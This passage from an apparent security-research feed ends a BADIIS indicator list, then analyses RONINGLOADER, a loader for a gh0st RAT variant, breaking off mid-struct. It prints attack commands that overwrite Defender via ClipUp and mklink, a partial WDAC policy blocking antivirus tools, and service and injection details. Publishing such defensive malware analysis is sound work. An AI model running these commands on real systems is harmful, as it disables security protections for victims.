<td align="left">BADIIS config server (primary)</td>
</tr>
<tr>
<td align="left"><code>jbtz003[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">BADIIS config server (legacy)</td>
</tr>
<tr>
<td align="left"><code>gotz001[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">BADIIS SEO content and backlinks server (primary)</td>
</tr>
<tr>
<td align="left"><code>jbtz001[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">BADIIS SEO content and backlinks server (primary)</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud/">https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud</a></li>
<li><a href="https://blog.talosintelligence.com/uat-8099-new-persistence-mechanisms-and-regional-focus/">https://blog.talosintelligence.com/uat-8099-new-persistence-mechanisms-and-regional-focus/</a></li>
<li><a href="https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html">https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/photo-edited-05.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[RONINGLOADER: DragonBreath’s New Path to PPL Abuse]]></title>
            <link>https://www.elastic.co/de/security-labs/roningloader</link>
            <guid>roningloader</guid>
            <pubDate>Sat, 15 Nov 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs uncovers RONINGLOADER, a multi-stage loader deploying DragonBreath’s updated gh0st RAT variant. The campaign weaponizes signed drivers, thread-pool injection, and PPL abuse to disable Defender and evade Chinese EDR tools.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs identified a recent campaign distributing a modified variant of the gh0st RAT, attributed to the Dragon Breath APT (APT-Q-27), through trojanized NSIS installers masquerading as legitimate software such as Google Chrome and Microsoft Teams. The infection chain employs a multi-stage delivery mechanism that leverages various evasion techniques, with many redundancies aimed at neutralising endpoint security products popular in the Chinese market. These include bringing a legitimately signed driver, deploying custom <a href="https://learn.microsoft.com/en-us/hololens/windows-defender-application-control-wdac">WDAC</a> policies, and tampering with the Microsoft Defender binary through PPL abuse.</p>
<p>This campaign primarily targets Chinese-speaking users and demonstrates a clear evolution in adaptability compared to earlier DragonBreath-related campaigns documented in 2022-2023. Through this report, we hope to raise awareness of new techniques this malware is starting to implement and to shine a light on a unique loader we are naming RoningLoader.</p>
<h3>Key takeaways</h3>
<ul>
<li>The malware employs an abuse of Protected Process Light (PPL) to disable Windows Defender</li>
<li>Threat actors leverage a valid, signed kernel driver to kill processes</li>
<li>Custom unsigned WDAC policy applied to block 360 Total Security and Huorong executables</li>
<li>Phantom DLLs and payload injection via thread pools for further antivirus process termination</li>
<li>Final payload has minor updates and is associated with DragonBreath</li>
</ul>
<h2>Discovery</h2>
<p>In August 2025, <a href="https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html">research</a> was published detailing a method to abuse Protected Process Light (PPL) to disable endpoint security tooling. Following this disclosure, we produced a behavioral rule, <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_evasion_via_clipup_execution.toml">Potential Evasion via ClipUp Execution</a>, and, after some threat hunting of telemetry data, we identified a live campaign employing the technique.</p>
<h2>RONINGLOADER code analysis</h2>
<p>The <a href="https://www.virustotal.com/gui/file/da2c58308e860e57df4c46465fd1cfc68d41e8699b4871e9a9be3c434283d50b/detection">initial infection vector</a> is a Windows Installer package (MSI). Upon execution, the MSI functions as a dropper, extracting two embedded <a href="https://nsis.sourceforge.io/Main_Page">Nullsoft Scriptable Install System (NSIS)</a> installers. NSIS is a legitimate, open-source tool for creating Windows installers, but it is frequently abused by threat actors to package and deliver malware, as seen in <a href="https://www.elastic.co/de/security-labs/getting-gooey-with-guloader-downloader">GULOADER</a>. In this campaign, we have observed the malicious installers being distributed under various themes, masquerading as legitimate software such as Google Chrome, Microsoft Teams, or other trusted applications to lure users into executing them.</p>
<p>One of the nested NSIS installers is benign and installs the legitimate software, while the second is malicious and responsible for deploying the attack chain.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image40.png" alt="RONINGLOADER Execution flow" title="RONINGLOADER Execution flow" /></p>
<p>The attack chain leverages a signed driver named <code>ollama.sys</code> for antivirus process termination. The driver has a signer name of <code>Kunming Wuqi E-commerce Co., Ltd.</code>, with a certificate valid from February 3, 2025, to February 3, 2026. Pivoting on VirusTotal revealed 71 additional signed binaries. Among these, we identified AgentTesla droppers masquerading as <code>慕讯公益加速器 (MuXunAccelerator)</code>, a gaming-focused VPN software popular among Chinese users, with samples dating back to April 2025. Notably, the signing techniques vary across samples. Some earlier samples, like <a href="https://www.virustotal.com/gui/file/507e41a0831a8f3a81f2cd6be76ea4d757f463524f6c93bba15d47984f9e29c1/details"><code>inject.sys</code></a>, contain <a href="https://github.com/Jemmy1228/HookSigntool"><code>HookSignTool</code></a> artifacts including the string <code>JemmyLoveJenny</code>, while the October 2025 <code>ollama.sys</code> sample shows no such artifacts and uses standard signing procedures, yet both share the same certificate validity period.</p>
<p>Comparing <code>ollama.sys</code>’s PDB string artifact <code>D:\VS_Project\加解密\MyDriver1\x64\Release\MyDriver1.pdb</code> with other samples, we discovered different artifacts from other submitted samples -</p>
<ul>
<li><code>D:\cpp\origin\ConsoleApplication2\x64\Release\ConsoleApplication2.pdb</code></li>
<li><code>D:\a_work\1\s\artifacts\obj\coreclr\windows.x86.Release\Corehost.Static\singlefilehost.pdb</code></li>
<li><code>C:\Users\0\Desktop\EAMap\x64\Release\ttt.pdb</code></li>
<li><code>h:\projects\netfilter3\bin\Release\Win32\nfregdrv.pdb</code></li>
</ul>
<p>Due to the diversity of binaries and the large volume of submissions, we suspect the certificate may have been leaked, but this is speculation at this time.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image35.png" alt="Digital signature of the driver" title="Digital signature of the driver" /></p>
<h3>Stage 1</h3>
<p>Our analysis began with the initial binary, identified by its SHA256 hash: <code>da2c58308e860e57df4c46465fd1cfc68d41e8699b4871e9a9be3c434283d50b</code>. Extracting it reveals two embedded executables: a benign installer, <code>letsvpnlatest.exe</code>, and the malicious installer <code>Snieoatwtregoable.exe</code>.</p>
<p>The malicious installer, <code>Snieoatwtregoable.exe</code>, creates a new directory at <code>C:\Program Files\Snieoatwtregoable\</code>. Within this folder, it drops two files: a DLL named <code>Snieoatwtregoable.dll</code> and an encrypted file, <code>tp.png</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image10.png" alt="Files dropped on disk" title="Files dropped on disk" /></p>
<p>The core of the malicious activity resides within <code>Snieoatwtregoable.dll</code>, which exports a single function: <code>DllRegisterServer</code>. When invoked, this function reads the contents of the <code>tp.png</code> file from disk, then decrypts this data using a simple algorithm involving both a Right Rotate (ROR) and an XOR operation.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image37.png" alt="XOR decryption routine" title="XOR decryption routine" /></p>
<p>The decrypted content is shellcode that reflectively loads and executes a PE file in memory. The malware first allocates a new memory region within its own process using the <code>NtAllocateVirtualMemory</code> API, then creates a new thread to execute the shellcode by calling <code>NtCreateThreadEx</code>.</p>
<p>The malware attempts to remove any userland hooks by loading a fresh new <code>ntdll.dll</code>, then using <code>GetProcAddress</code> with the API name to resolve the addresses.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image32.png" alt="Loads a fresh NTDLL" title="Loads a fresh NTDLL" /></p>
<p>The malware attempts to connect to localhost on port <code>5555</code> without serving any real purpose, as the result will not matter; speculatively, this is likely dead code or pre-production leftover code</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image13.png" alt="Dead code" title="Dead code" /></p>
<h3>Stage 2 - tp.png</h3>
<p>RONINGLOADER first checks whether it has administrative privileges using the <code>GetTokenInformation</code> API. If not, it attempts to elevate its privileges by using the <code>runas</code> command to launch a new, elevated instance of itself before terminating the original process.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image31.png" alt="Elevates privileges with RunAs command" title="Elevates privileges with RunAs command" /></p>
<p>Interestingly, the malware tries to communicate with a hardcoded URL <a href="http://www.baidu.com/"><code>http://www.baidu.com/</code></a> with the user-agent <code>“Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko”</code>, but this appears to be dead code, likely due to either a removed feature or placeholder code for future versions. It is designed to extract and log the HTTP response header date from the URL.</p>
<p>The malware then scans a list of running processes for specific antivirus solutions. It checks against a hardcoded list of process names and sets a corresponding boolean flag to &quot;True&quot; if any are found.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image11.png" alt="Scans for specific processes" title="Scans for specific processes" /></p>
<p>The following is a table of processes and the associated security products hardcoded in the binary:</p>
<table>
<thead>
<tr>
<th align="left">Process name</th>
<th align="left">Security Product</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>MsMpEng.exe</code></td>
<td align="left">Microsoft Defender Antivirus</td>
</tr>
<tr>
<td align="left"><code>kxemain.exe</code></td>
<td align="left">Kingsoft Internet Security</td>
</tr>
<tr>
<td align="left"><code>kxetray.exe</code></td>
<td align="left">Kingsoft Internet Security</td>
</tr>
<tr>
<td align="left"><code>kxecenter.exe</code></td>
<td align="left">Kingsoft Internet Security</td>
</tr>
<tr>
<td align="left"><code>QQPCTray.exe</code></td>
<td align="left">Tencent PC Manager</td>
</tr>
<tr>
<td align="left"><code>QQPCRTP.exe</code></td>
<td align="left">Tencent PC Manager</td>
</tr>
<tr>
<td align="left"><code>QMToolWidget.exe</code></td>
<td align="left">Tencent PC Manager</td>
</tr>
<tr>
<td align="left"><code>HipsTray.exe</code></td>
<td align="left">Qihoo 360 Total Security</td>
</tr>
<tr>
<td align="left"><code>HipsDaemon.exe</code></td>
<td align="left">Qihoo 360 Total Security</td>
</tr>
<tr>
<td align="left"><code>HipsMain.exe</code></td>
<td align="left">Qihoo 360 Total Security</td>
</tr>
<tr>
<td align="left"><code>360tray.exe</code></td>
<td align="left">Qihoo 360 Total Security</td>
</tr>
</tbody>
</table>
<h4>AV process termination via injected remote process</h4>
<p>Next, the malware kills those processes. Interestingly, the Qihoo 360 Total Security product takes a different approach than the others.</p>
<p>First, it blocks all network communication by changing the firewall. It then calls a function to inject shellcode into the process (<code>vssvc.exe</code>) associated with the Volume Shadow Copy (VSS) service.<br />
It first grants itself the high integrity <code>SeDebugPrivilege</code> token.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image2.png" alt="Grants SeDebugPrivilege to itself" title="Grants SeDebugPrivilege to itself" /></p>
<p>It then starts the <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service">VSS (Volume Shadow Copy Service)</a> if it is not already running and fetches the PID of its associated process (vssvc.exe).</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image26.png" alt="Starts VSS service" title="Starts VSS service" /></p>
<p>Next, the malware uses <code>NtCreateSection</code> to create two separate memory sections. It then maps views of these sections into the memory space of the vssvc.exe process. The first section contains a full Portable Executable (PE) file, which is a driver with the device name <code>\\.\Ollama</code>. The second section contains shellcode intended for execution.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image15.png" alt="Mapping section views to the remote process" title="Mapping section views to the remote process" /></p>
<p>RONINGLOADER takes a different approach to this process injection compared to other injection methods used elsewhere in the malware. This technique leverages the thread pool to remotely execute code via a file write trigger in the remote process. This technique was documented <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">by SafeBreach</a> in 2023 with different variants.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image5.png" alt="Injection through ThreadPool tasks" title="Injection through ThreadPool tasks" /></p>
<p>Once executed, the shellcode begins by dynamically resolving the addresses of the Windows APIs it needs to function. This is the only part of RONINGLOADER that employs any obfuscation, using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler–Noll–Vo hash</a> (FNV) algorithm to look up functions by hash instead of by name.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image25.png" alt="FNV algorithm instructions" title="FNV algorithm instructions" /></p>
<p>It first fetches the addresses of <code>CreateFileW</code>, <code>WriteFile</code>, and <code>CloseHandle</code> to write the driver to disk to a hardcoded path, <code>C:\windows\system32\drivers\1912763.temp</code>.</p>
<p>Then it performs the following operations:</p>
<ul>
<li>Create a service named <code>xererre1</code> to load the driver dropped to disk</li>
<li>For each of the following processes (<code>360Safe.exe</code>, <code>360Tray.exe</code>, and <code>ZhuDongFangYu.exe</code>), which are all associated with Qihoo 360 software, it calls 2 functions: one to find the PID of the process by name, followed by a function to kill the process by PID</li>
<li>It then stops and deletes the service <code>xererre1</code></li>
</ul>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image27.png" alt="Function calls to kill Qihoo 360 software processes" title="Function calls to kill Qihoo 360 software processes" /></p>
<p>To kill a process, the malware uses the driver. An analysis of the driver reveals that it registers only 1 functionality: it handles one IOCTL ID (<code>0x222000</code>) that takes a PID as a parameter and kills the process by first opening it with <code>ZwOpenProcess</code>, then terminating it with <code>ZwTerminateProcess</code> kernel APIs.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image1.png" alt="Kernel driver kills a process by PID" title="Kernel driver kills a process by PID" /></p>
<h4>AV process termination</h4>
<p>Returning to the main execution flow, the malware enters a loop to confirm the termination of <code>360tray.exe</code>, as handled by the shellcode injected into the VSS service. It proceeds only after verifying that the process is no longer running. Immediately after this confirmation, the system restores its firewall settings. This action is likely a defensive measure intended to sever the software's communication channel, preventing it from uploading final activity logs or security alerts to its backend services.</p>
<p>It then terminates the other security processes directly from its main process. Notably, it makes no attempt to hide these actions, abandoning the earlier API hashing technique and calling the necessary functions directly.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image29.png" alt="Function calls to kill the rest of the security solutions" title="Function calls to kill the rest of the security solutions" /></p>
<p>RONINGLOADER follows a consistent, repeatable procedure to terminate its target processes:</p>
<ul>
<li>First, it writes the malicious driver to disk, this time to the temporary path <code>C:\Users\analysis\AppData\Local\Temp\ollama.sys.</code></li>
<li>A temporary service (<code>ollama</code>) is created to load <code>ollama.sys</code> into the kernel</li>
<li>The malware then fetches the target process's PID by name and sends a request containing the PID to its driver to perform the termination.</li>
<li>Immediately after the kill command is sent, the service is deleted.</li>
</ul>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image6.png" alt="Write driver, create service, start service" title="Write driver, create service, start service" /></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image22.png" alt="Kill by PID and delete the service afterwards" title="Kill by PID and delete the service afterwards" /></p>
<p>Regarding Microsoft Defender, the malware attempts to kill the <code>MsMpEng.exe</code> process using the same approach described above. We noticed a code bug from the author: for Microsoft Defender, the code does not check whether Defender is already running, but proceeds directly to searching for the <code>MsMpEng.exe</code> process. This means that if the process is not running, the malware will send 0 as the PID to the driver.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image23.png" alt="Microsoft Defender process killing" title="Microsoft Defender process killing" /></p>
<p>The malware has more redundant code to kill security solution processes. It also injects another shellcode into svchost.exe, similar to what was injected into <code>vssvc.exe</code>, but the list of processes is different, as seen in the screenshot below.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image12.png" alt="Redundant code to kill security processes" title="Redundant code to kill security processes" /></p>
<p>The injection technique also uses threadpools, but the injected code is triggered by an event.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image39.png" alt="ThreadPool injection with an event as a trigger" title="ThreadPool injection with an event as a trigger" /></p>
<p>After the process termination, the malware creates 4 folders</p>
<ul>
<li><code>C:\ProgramData\lnk</code></li>
<li><code>C:\ProgramData\&lt;current_date&gt;</code></li>
<li><code>C:\Users\Public\Downloads\&lt;current_date&gt;</code></li>
<li><code>C:\ProgramData\Roning</code></li>
</ul>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image20.png" alt="Folder creation to drop files" title="Folder creation to drop files" /></p>
<h4>Embedded archives</h4>
<p>The malware then writes three <code>.txt</code> files to <code>C:\Users\Public\Downloads\&lt;current_date&gt;</code>. Despite their extension, these are not text files but rather containers built with a specific format, likely adapted from another code base.<br />
This custom file structure is organized as follows:</p>
<ul>
<li><strong>Magic Bytes:</strong> The file begins with the signature <code>4B 44 01 00</code> for identification.</li>
<li><strong>File Count:</strong> This is immediately followed by a value indicating the number of files encapsulated within the container.</li>
<li><strong>File Metadata:</strong> A header section then describes the information for each stored file.</li>
<li><strong>Compressed Data:</strong> Finally, each embedded file is stored in a ZLIB-compressed data block.</li>
</ul>
<p>Here’s an example file format for the <code>hjk.txt archive</code>, which contains 2 files: <code>1.bat</code> and <code>fhq.bat</code>.<br />
This archive format applies to 2 other embedded files in the current stage:</p>
<ul>
<li><code>agg.txt</code>, which contains 3 files - <code>Enpug.bin</code>, <code>goldendays.dll</code>, and <code>trustinstaller.bin</code></li>
<li><code>kill.txt</code>, which contains 1 file - <code>1.dll</code></li>
</ul>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image7.png" alt="Archive format for hjk.txt" title="Archive format for hjk.txt" /></p>
<h4>Batch scripts to bypass UAC and AV networking</h4>
<p><code>1.bat</code> is a simple batch script that disables User Account Control (UAC) by setting the <code>EnableLUA</code> registry value to 0.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image28.png" alt="1.bat content" title="1.bat content" /></p>
<p><code>fhq.bat</code> is another batch script that targets the program defined in <code>C:\ProgramData\lnk\123.txt</code> and the Qihoo 360 security software (360Safe.exe) by creating firewall rules that block inbound and outbound connections to them. It also disables firewall notifications across all profiles.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image14.png" alt="fhq.bat content" title="fhq.bat content" /></p>
<h4>AV process termination via Phantom DLL</h4>
<p>The deployed DLL, <code>1.dll</code>, is copied to <code>C:\Windows\System32\Wow64\Wow64Log.dll</code> to be side-loaded by any WOW64 processes, as <code>Wow64Log.dll</code> is a <a href="https://hijacklibs.net/entries/microsoft/built-in/wow64log.html">phantom DLL</a> that is not present on Windows machines by default. Its task is redundant, essentially attempting to kill a list of processes using standard Windows APIs (<code>TerminateProcess</code>).</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image24.png" alt="Wow64Log.dll Dllmain code" title="Wow64Log.dll Dllmain code" /></p>
<h4>ClipUp MS Defender killer</h4>
<p>The malware then attempts to use a PPL abuse technique documented by <a href="https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html">Zero Salarium</a> in August 2025. The article’s PoC targets Microsoft Defender only. Note that all of the system commands executed are through <code>cmd.exe</code> with the <code>ShellExecuteW</code> API</p>
<ul>
<li>It searches for Microsoft Defender's installation folder under <code>C:\ProgramData\Microsoft\Windows Defender\Platform\*</code>, targeting only the directory with the most recent modification date, which indicates the currently used version</li>
<li>Create a folder <code>C:\ProgramData\roming</code> and a directory link with <code>mklink</code> to point to the directory found with the following command: <code>cmd.exe /c mklink /D &quot;C:\ProgramData\roming&quot; “C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25050.5-0”</code></li>
<li>It then runs <code>C:\Windows\System32\ClipUp.exe</code> with the following parameter: <code>-ppl C:\ProgramData\roming\MsMpEng.exe</code>, which overwrites <code>MsMpEng.exe</code> with junk data, effectively disabling the EDR even after a restart</li>
</ul>
<p>The author appears to have copied code from <a href="https://github.com/TwoSevenOneT/EDR-Freeze/blob/ceffd5ea7b813b356c77d469561dbb5ee45aeb24/PPLHelp.cpp#L43">EDR-Freeze</a> to start <code>ClipUp.exe</code>.</p>
<h4>CiPolicies</h4>
<p>The malware directly targets Windows Defender Application Control (WDAC) by writing a policy file to the path <code>C:\\Windows\\System32\\CodeIntegrity\\CiPolicies\\Active\\{31351756-3F24-4963-8380-4E7602335AAE}.cip</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image33.png" alt="Write policy to disk" title="Write policy to disk" /></p>
<p>The malicious policy operates in a “deny-list” mode, allowing most applications to run while explicitly blocking two popular Chinese antivirus vendors:</p>
<ul>
<li>Qihoo 360 Total Security by blocking <code>360rp.exe</code> and <code>360sd.exe</code></li>
<li>Huorong Security by blocking <code>ARPProte.exe</code></li>
<li>All executables signed by Huorong Security (<code>北京火绒网络科技有限公司</code>) via certificate TBS hash <code>A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4</code></li>
</ul>
<p>A critical component is the <code>Enabled:Unsigned System Integrity Policy</code> rule, which allows the policy to be loaded without a valid digital signature.</p>
<pre><code>Truncated...
    &lt;Rule&gt;
      &lt;Option&gt;Enabled:Inherit Default Policy&lt;/Option&gt;
    &lt;/Rule&gt;
    &lt;Rule&gt;
      &lt;Option&gt;Enabled:Unsigned System Integrity Policy&lt;/Option&gt;
    &lt;/Rule&gt;
    &lt;Rule&gt;
      &lt;Option&gt;Enabled:Advanced Boot Options Menu&lt;/Option&gt;
    &lt;/Rule&gt;
    &lt;Rule&gt;
      &lt;Option&gt;Enabled:Update Policy No Reboot&lt;/Option&gt;
    &lt;/Rule&gt;
  &lt;/Rules&gt;
  &lt;EKUs /&gt;
  &lt;FileRules&gt;
    &lt;Allow ID=&quot;ID_ALLOW_A_019A298478CE7BF4902DE08CA2D17630&quot; FileName=&quot;*&quot; /&gt;
    &lt;Allow ID=&quot;ID_ALLOW_A_019A298478CE7AB089C369772F34B39B&quot; FileName=&quot;*&quot; /&gt;
    &lt;Deny ID=&quot;ID_DENY_A_019A298478CE7DBA9913BFC227DACD14&quot; FileName=&quot;360rp.exe&quot; InternalName=&quot;360rp.exe&quot; FileDescription=&quot;360杀毒 实时监控&quot; ProductName=&quot;360杀毒&quot; /&gt;
    &lt;Deny ID=&quot;ID_DENY_A_019A298478CE763C85C9F42EC8669750&quot; FileName=&quot;360sd.exe&quot; InternalName=&quot;360sd.exe&quot; FileDescription=&quot;360杀毒 主程序&quot; ProductName=&quot;360杀毒&quot; /&gt;
    &lt;FileAttrib ID=&quot;ID_FILEATTRIB_A_019A298478CE766B9C39FB9CE6805A11&quot; FileName=&quot;ARPProte.exe&quot; MinimumFileVersion=&quot;6.0.0.0&quot; /&gt;
  &lt;/FileRules&gt;
  &lt;Signers&gt;
    &lt;Signer ID=&quot;ID_SIGNER_A_019A298478CE7608908CAE58FD9C3D8E&quot; Name=&quot;&quot;&gt;
      &lt;CertRoot Type=&quot;TBS&quot; Value=&quot;A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4&quot; /&gt;
      &lt;CertPublisher Value=&quot;北京火绒网络科技有限公司&quot; /&gt;
      &lt;FileAttribRef RuleID=&quot;ID_FILEATTRIB_A_019A298478CE766B9C39FB9CE6805A11&quot; /&gt;
    &lt;/Signer&gt;
    &lt;Signer ID=&quot;ID_SIGNER_A_019A298478CE77F7B523D1581F518639&quot; Name=&quot;&quot;&gt;
      &lt;CertRoot Type=&quot;TBS&quot; Value=&quot;A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4&quot; /&gt;
      &lt;CertPublisher Value=&quot;北京火绒网络科技有限公司&quot; /&gt;
    &lt;/Signer&gt;
  &lt;/Signers&gt;
...Truncated
</code></pre>
<h3>Stage 3 - goldendays.dll</h3>
<p>In the previous stage, RONINGLOADER creates a new service named <code>MicrosoftSoftware2ShadowCop4yProvider</code> to run the next stage of execution with the following command: <code>regsvr32.exe /S &quot;C:\ProgramData\Roning\goldendays.dll</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image34.png" alt="Create MicrosoftSoftware2ShadowCop4yProvider service" title="Create MicrosoftSoftware2ShadowCop4yProvider service" /></p>
<p>The primary goal of this component is to inject the next payload into a legitimate, high-privilege system process to camouflage its activities.</p>
<p>To achieve this, RONINGLOADER first identifies a suitable target process. It has a hardcoded list of two service names that it attempts to start sequentially:</p>
<ol>
<li>TrustedInstaller (<code>TrustedInstaller.exe</code>)</li>
<li>MicrosoftEdgeElevationService (<code>elevation_service.exe</code>)</li>
</ol>
<p>The malware iterates through this list, attempting to start each service. Once a service is successfully started, or if one is found already running, the malware saves its Process ID (PID) for the injection phase.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image18.png" alt="Start both TrustedInstaller and MicrosoftEdgeElevationService services" title="Start both TrustedInstaller and MicrosoftEdgeElevationService services" /></p>
<p>Next, the malware establishes persistence by creating a batch file with a random name within the <code>C:\Windows\</code> directory (e.g., <code>C:\Windows\KPeYvogsPm.bat</code>). The script inside this file runs a continuous loop with the following logic:</p>
<ul>
<li>It checks if the captured PID of the trusted service (e.g., PID <code>4016</code> for <code>TrustedInstaller.exe</code>) is still running</li>
<li>If the service is not running, the script restarts the previously created malicious service (<code>MicrosoftSoftware2ShadowCop4yProvider</code>) to ensure the malware's components remain active</li>
<li>If the service process is running, the script sleeps for 10 seconds before checking again</li>
</ul>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image4.png" alt="Batch file content" title="Batch file content" /></p>
<p>Finally, the malware reads the contents of <code>C:\ProgramData\Roning\trustinstaller.bin</code>. Using the PID of the trusted service it acquired earlier, it injects this payload into the target process (<code>TrustedInstaller.exe</code> or <code>elevation_service.exe</code>). The injection method is straightforward: it performs a remote virtual allocation with <code>VirtualAllocEx</code>, writes to it with <code>WriteProcessMemory</code>, and then creates a remote thread to execute it with <code>CreateRemoteThread</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image21.png" alt="Remote process injection" title="Remote process injection" /></p>
<h3>Stage 3 - trustinstaller.bin</h3>
<p>The third stage, contained within <code>trustinstaller.bin</code>, is responsible for injecting the final payload into a legitimate process. It starts by enumerating running processes and searching for a target by matching process names against a hardcoded list of potential processes.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image8.png" alt="List of process options to inject the payload into" title="List of process options to inject the payload into" /></p>
<p>When found, it will inject the shellcode into <code>C:\ProgramData\Roning\Enpug.bin</code>, which is the final payload. It will create a section with <code>NtCreateSection</code>, map a view of it in the remote process with <code>NtMapViewOfSection</code>, and write the payload to it. Then it will create a remote thread with <code>CreateRemoteThread</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image17.png" alt="Maps section view in the remote process" title="Maps section view in the remote process" /></p>
<h3>Stage 4 - Final Payload</h3>
<p>The <a href="https://www.virustotal.com/gui/file/3dd470e85fe77cd847ca59d1d08ec8ccebe9bd73fd2cf074c29d87ca2fd24e33/detection">final payload</a> has not undergone major changes since <a href="https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/">Sophos</a>’s discovery of a DragonBreath campaign in 2023 and <a href="https://ti.qianxin.com/blog/articles/operation-dragon-breath-%28apt-q-27%29-dimensionality-reduction-blow-to-the-gambling-industry/">QianXin’s report</a> in mid-2022. It is still a modified version of the open-source <a href="https://github.com/sin5678/gh0st">gh0st</a> RAT.</p>
<p>In the more recent campaigns, a mutex of value <code>Global\DHGGlobalMutex</code> is created at the very beginning of execution. Outside the main C2 communication loop, dead code is observed creating a mutex named <code>MyUniqueMutexName</code> and immediately destroying it afterward.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image19.png" alt="Mutex value MyUniqueMutexName within dead code" title="Mutex value MyUniqueMutexName within dead code" /></p>
<p>The C2 domain and port remain hardcoded but are now XOR-encrypted. The C2 channel operates over raw TCP sockets with messages encrypted in both directions.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image9.png" alt="C2 domain and port XOR decoded" title="C2 domain and port XOR decoded" /></p>
<h4>Victim Beacon Data</h4>
<p>The implant checks in with the C2 server and repeatedly beacons to the C2 at random intervals, implemented through <code>Sleep(&lt;random_amount&gt; * 1000)</code>. Below is the structure for the data that the implant returns to the C2 server during the beaconing interval:</p>
<pre><code class="language-C">struct BeaconData {
    // +0x000
    uint32_t message_type;           // Example Beacon ID - 0xC8 (200)
    
    // +0x004
    uint32_t local_ip;               // inet_addr() of victim's IP
    
    // +0x008
    char hostname[50];               // Computer name or registry &quot;Remark&quot;
    
    // +0x03A
    char windows_version[?];         // OS version info
    
    // +0x0D8
    char cpu_name[64];               // Processor name
    
    // +0x118
    uint32_t entry_rdx;              
    
    // +0x11C
    char time_value[64];             // Implant installed time or registry &quot;Time&quot; value
    
    // +0x15C
    char victim_tag[39];             // Command 6 buffer (Custom victim tag)
    
    // +0x183
    uint8_t is_wow64;                // 1 if 32-bit on 64-bit Windows
    
    // +0x184
    char av_processes_found[128];    // Antivirus processes found
    
    // +0x204
    char uptime[12];                 // System uptime

    char padding[52];                 
    
    // +0x244
    char crypto_wallet_track[64];    // &quot;狐狸系列&quot; (MetaMask) or registry &quot;ZU&quot; (crypto related tracking)
    
    // +0x284
    uint8_t is_admin;                // 1 if running with admin rights
    
    // +0x285
    char data[?];             
    
    // +0x305
    uint8_t telegram_installed;      // 1 if Telegram installed
    
    // +0x306
